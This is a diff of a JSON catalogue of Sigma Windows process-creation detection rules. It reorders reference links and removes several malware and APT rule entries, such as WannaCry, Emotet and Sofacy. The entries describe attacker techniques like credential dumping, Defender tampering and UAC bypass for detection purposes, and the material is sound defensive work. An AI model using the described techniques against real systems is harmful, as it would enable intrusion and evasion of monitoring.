@@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_parent_anomaly.yml" ], "tags": [ @@ -41848,8 +41542,8 @@ "logsource.product": "windows", "refs": [ "https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/", - "https://twitter.com/Hexacorn/status/1420053502554951689", "https://twitter.com/SBousseaden/status/1464566846594691073?s=20", + "https://twitter.com/Hexacorn/status/1420053502554951689", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_clone.yml" ], "tags": [ @@ -41890,9 +41584,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_susp_flags.yml" ], "tags": [ @@ -41960,13 +41654,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://ngrok.com/docs", "https://twitter.com/xorJosh/status/1598646907802451969", - "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/", - "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", - "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", - "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", "https://www.softwaretestinghelp.com/how-to-use-ngrok/", + "https://www.virustotal.com/gui/file/58d21840d915aaf4040ceb89522396124c82f325282f805d1085527e1e2ccfa1/detection", + "https://stackoverflow.com/questions/42442320/ssh-tunnel-to-ngrok-and-initiate-rdp", + "https://ngrok.com/docs", + "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html", + "https://cybleinc.com/2021/02/15/ngrok-platform-abused-by-hackers-to-deliver-a-new-wave-of-phishing-attacks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ngrok.yml" ], "tags": [ @@ -41999,8 +41693,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", "https://lolbas-project.github.io/lolbas/Binaries/Gpscript/", + "https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" ], "tags": [ @@ -42033,8 +41727,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/1ZRR4H/status/1534259727059787783", "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", + "https://twitter.com/1ZRR4H/status/1534259727059787783", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_archiver_iso_phishing.yml" ], "tags": [ @@ -42067,13 +41761,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", - "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", + "https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters", "https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/", + "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11)", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml" ], "tags": [ @@ -42114,9 +41808,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/hFireF0X/status/897640081053364225", "https://github.com/hfiref0x/UACME", "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", - "https://twitter.com/hFireF0X/status/897640081053364225", "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp_com_object_access.yml" ], @@ -42229,108 +41923,6 @@ "uuid": "dec44ca7-61ad-493c-bfd7-8819c5faa09b", "value": "Arbitrary Command Execution Using WSL" }, - { - "description": "Detects WannaCry ransomware activity", - "meta": { - "author": "Florian Roth (Nextron Systems), Tom U. @c_APT_ure (collection), oscd.community, Jonhnathan Ribeiro", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_wannacry.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_wannacry.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1210", - "attack.discovery", - "attack.t1083", - "attack.defense_evasion", - "attack.t1222.001", - "attack.impact", - "attack.t1486", - "attack.t1490" - ] - }, - "related": [ - { - "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "41d40bff-377a-43e2-8e1b-2e543069e079", - "value": "WannaCry Ransomware Activity" - }, - { - "description": "Detects potential exploitation of the BearLPE exploit using Task Scheduler \".job\" import arbitrary DACL write\\par", - "meta": { - "author": "Olaf Hartong", - "creation_date": "2019/05/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_exploit_other_bearlpe.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/djhohnstein/polarbearrepo/blob/f26d3e008093cc5c835e92a7165170baf6713d43/bearlpe/polarbear/polarbear/exploit.cpp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_other_bearlpe.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1053.005", - "car.2013-08-001" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "931b6802-d6a6-4267-9ffa-526f57f22aaf", - "value": "Potential BearLPE Exploitation" - }, { "description": "Detects the execution of WMIC in order to get a list of firewall and antivirus products", "meta": { @@ -42344,9 +41936,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://thedfirreport.com/2023/03/06/2022-year-in-review/", "https://www.yeahhub.com/list-installed-programs-version-path-windows/", "https://learn.microsoft.com/en-us/answers/questions/253555/software-list-inventory-wmic-product", - "https://thedfirreport.com/2023/03/06/2022-year-in-review/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_recon_product.yml" ], "tags": [ @@ -42380,8 +41972,8 @@ "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65", - "https://redcanary.com/blog/yellow-cockatoo/", "https://zero2auto.com/2020/05/19/netwalker-re/", + "https://redcanary.com/blog/yellow-cockatoo/", "https://mez0.cc/posts/cobaltstrike-powershell-exec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_xor_commandline.yml" ], @@ -42540,8 +42132,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://www.joeware.net/freetools/tools/adfind/", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_enumeration.yml" ], @@ -42688,8 +42280,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/hexacorn/status/1448037865435320323", "https://twitter.com/Gal_B1t/status/1062971006078345217", + "https://twitter.com/hexacorn/status/1448037865435320323", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_path_traversal_evasion.yml" ], "tags": [ @@ -42709,40 +42301,6 @@ "uuid": "1327381e-6ab0-4f38-b583-4c1b8346a56b", "value": "Potential Command Line Path Traversal Evasion Attempt" }, - { - "description": "Detecting Emotet DLL loading by looking for rundll32.exe processes with command lines ending in ,RunDLL or ,Control_RunDLL", - "meta": { - "author": "FPT.EagleEye", - "creation_date": "2020/12/25", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_emotet_rundll32_execution.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://cyber.wtf/2021/11/15/guess-whos-back/", - "https://paste.cryptolaemus.com/emotet/2020/12/22/emotet-malware-IoCs_12-22-20.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_emotet_rundll32_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "related": [ - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "54e57ce3-0672-46eb-a402-2c0948d5e3e9", - "value": "Potential Emotet Rundll32 Execution" - }, { "description": "Detects the creation of taskmgr.exe process in context of LOCAL_SYSTEM", "meta": { @@ -42811,16 +42369,16 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://managed670.rssing.com/chan-5590147/all_p1.html", - "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", - "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", - "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", "https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38", + "https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf", + "https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", "https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr", "https://bunnyinside.com/?term=f71e8cb9c76a", "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", - "https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", - "https://twitter.com/_xpn_/status/1268712093928378368", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_etw_modification_cmdline.yml" ], "tags": [ @@ -42923,9 +42481,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.poweradmin.com/paexec/", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_susp_psexec_paexec_flags_.yml" ], "tags": [ @@ -43023,39 +42581,6 @@ "uuid": "48bbc537-b652-4b4e-bd1d-281172df448f", "value": "Sysinternals PsSuspend Execution" }, - { - "description": "Detects binaries used by the Lazarus group which use system names but are executed and launched from non-default location", - "meta": { - "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", - "creation_date": "2020/06/03", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_lazarus_binary_masquerading.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_binary_masquerading.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", - "value": "Lazarus System Binary Masquerading" - }, { "description": "Download and compress a remote file and store it in a cab file on local machine.", "meta": { @@ -43103,8 +42628,8 @@ "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/jonasLyk/status/1555914501802921984", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_cli.yml" ], "tags": [ @@ -43137,9 +42662,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", "https://twitter.com/nas_bench/status/1534915321856917506", "https://twitter.com/nas_bench/status/1534916659676422152", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Adplus/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml" ], "tags": [ @@ -43391,8 +42916,8 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings", - "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://twitter.com/0gtweet/status/1628720819537936386", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sc_sdset_allow_service_changes.yml" ], "tags": [ @@ -43583,8 +43108,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/bryon_/status/975835709587075072", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mssql_sqlps_susp_execution.yml" ], "tags": [ @@ -43757,10 +43282,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://twitter.com/splinter_code/status/1483815103279603714", "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://twitter.com/splinter_code/status/1483815103279603714", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun.yml" ], "tags": "No established tags" @@ -43848,9 +43373,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", "https://github.com/GhostPack/Rubeus", "https://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/", - "https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_rubeus.yml" ], "tags": [ @@ -43900,10 +43425,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/raspberry-robin/", "https://twitter.com/Hexacorn/status/1187143326673330176", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", + "https://redcanary.com/blog/raspberry-robin/", "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-94a1964b682707e4e3f77dd61a3bfface5401d08d8cf81145f388e09614aceca", + "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_susp_exec.yml" ], "tags": [ @@ -43990,10 +43515,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/Z3Jpa29z/status/1317545798981324801", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Rcsi/", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", + "https://twitter.com/Z3Jpa29z/status/1317545798981324801", "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_csi_execution.yml" ], "tags": [ @@ -44098,39 +43623,6 @@ "uuid": "f89b08d0-77ad-4728-817b-9b16c5a69c7a", "value": "HackTool - SharpImpersonation Execution" }, - { - "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_taidoor.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" - ], - "tags": [ - "attack.execution", - "attack.t1055.001" - ] - }, - "related": [ - { - "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", - "value": "TAIDOOR RAT DLL Load" - }, { "description": "Detect the use of \"sc.exe\" to change the startup type of a service to \"disabled\" or \"demand\"", "meta": { @@ -44334,9 +43826,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", - "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", "https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/", + "https://github.com/offsecginger/koadic/blob/457f9a3ff394c989cdb4c599ab90eb34fb2c762c/data/stager/js/stdlib.js", + "https://blog.f-secure.com/hunting-for-koadic-a-com-based-rootkit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_koadic.yml" ], "tags": [ @@ -44569,8 +44061,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_shutdown_execution.yml" ], "tags": [ @@ -44647,10 +44139,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", - "https://twitter.com/splinter_code/status/1483815103279603714", "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3", + "https://elastic.github.io/security-research/malware/2022/01/01.operation-bleeding-bear/article/", + "https://twitter.com/splinter_code/status/1483815103279603714", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_advancedrun_priv_user.yml" ], "tags": "No established tags" @@ -44671,8 +44163,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/dsnezhkov/TruffleSnout", "https://github.com/dsnezhkov/TruffleSnout/blob/master/TruffleSnout/Docs/USAGE.md", + "https://github.com/dsnezhkov/TruffleSnout", "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_trufflesnout.yml" ], @@ -44706,9 +44198,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", - "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", + "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", + "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_conti_shadowcopy.yml" ], "tags": [ @@ -44728,41 +44220,6 @@ "uuid": "f57f8d16-1f39-4dcb-a604-6c73d9b54b3d", "value": "Sensitive Registry Access via Volume Shadow Copy" }, - { - "description": "Detects LockerGoga ransomware activity via specific command line.", - "meta": { - "author": "Vasiliy Burov, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_lockergoga_ransomware.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@malwaredancer/lockergoga-input-arguments-ipc-communication-and-others-bd4e5a7ba80a", - "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-lockergoga-ransomware/", - "https://blog.f-secure.com/analysis-of-lockergoga-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_lockergoga_ransomware.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "related": [ - { - "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "74db3488-fd28-480a-95aa-b7af626de068", - "value": "LockerGoga Ransomware Activity" - }, { "description": "Detects usage of the PsLogList utility to dump event log in order to extract admin accounts and perform account discovery or delete events logs", "meta": { @@ -44777,10 +44234,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/EricaZelic/status/1614075109827874817", - "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Sysinternals/PsLogList", + "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "https://www.cybereason.com/blog/deadringer-exposing-chinese-threat-actors-targeting-major-telcos", + "https://twitter.com/EricaZelic/status/1614075109827874817", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psloglist.yml" ], "tags": [ @@ -44966,8 +44423,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1206692239839289344", "https://lolbas-project.github.io/lolbas/Binaries/Runexehelper/", + "https://twitter.com/0gtweet/status/1206692239839289344", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runexehelper.yml" ], "tags": [ @@ -44987,52 +44444,6 @@ "uuid": "cd71385d-fd9b-4691-9b98-2b1f7e508714", "value": "Lolbin Runexehelper Use As Proxy" }, - { - "description": "Detects Trojan loader activity as used by APT28", - "meta": { - "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/03/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_sofacy.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", - "https://twitter.com/ClearskySec/status/960924755355369472", - "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml" - ], - "tags": [ - "attack.g0007", - "attack.execution", - "attack.t1059.003", - "attack.defense_evasion", - "car.2013-10-002", - "attack.t1218.011" - ] - }, - "related": [ - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", - "value": "Sofacy Trojan Loader Activity" - }, { "description": "Deployment Image Servicing and Management tool. DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images", "meta": { @@ -45046,8 +44457,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md#atomic-test-26---disable-windows-defender-with-dism", + "https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsim_remove.yml" ], "tags": [ @@ -45080,9 +44491,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md", "https://www.bleepingcomputer.com/news/security/iobit-forums-hacked-to-spread-ransomware-to-its-members/", "https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/", + "https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_namespace_defender.yml" ], "tags": [ @@ -45216,8 +44627,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", 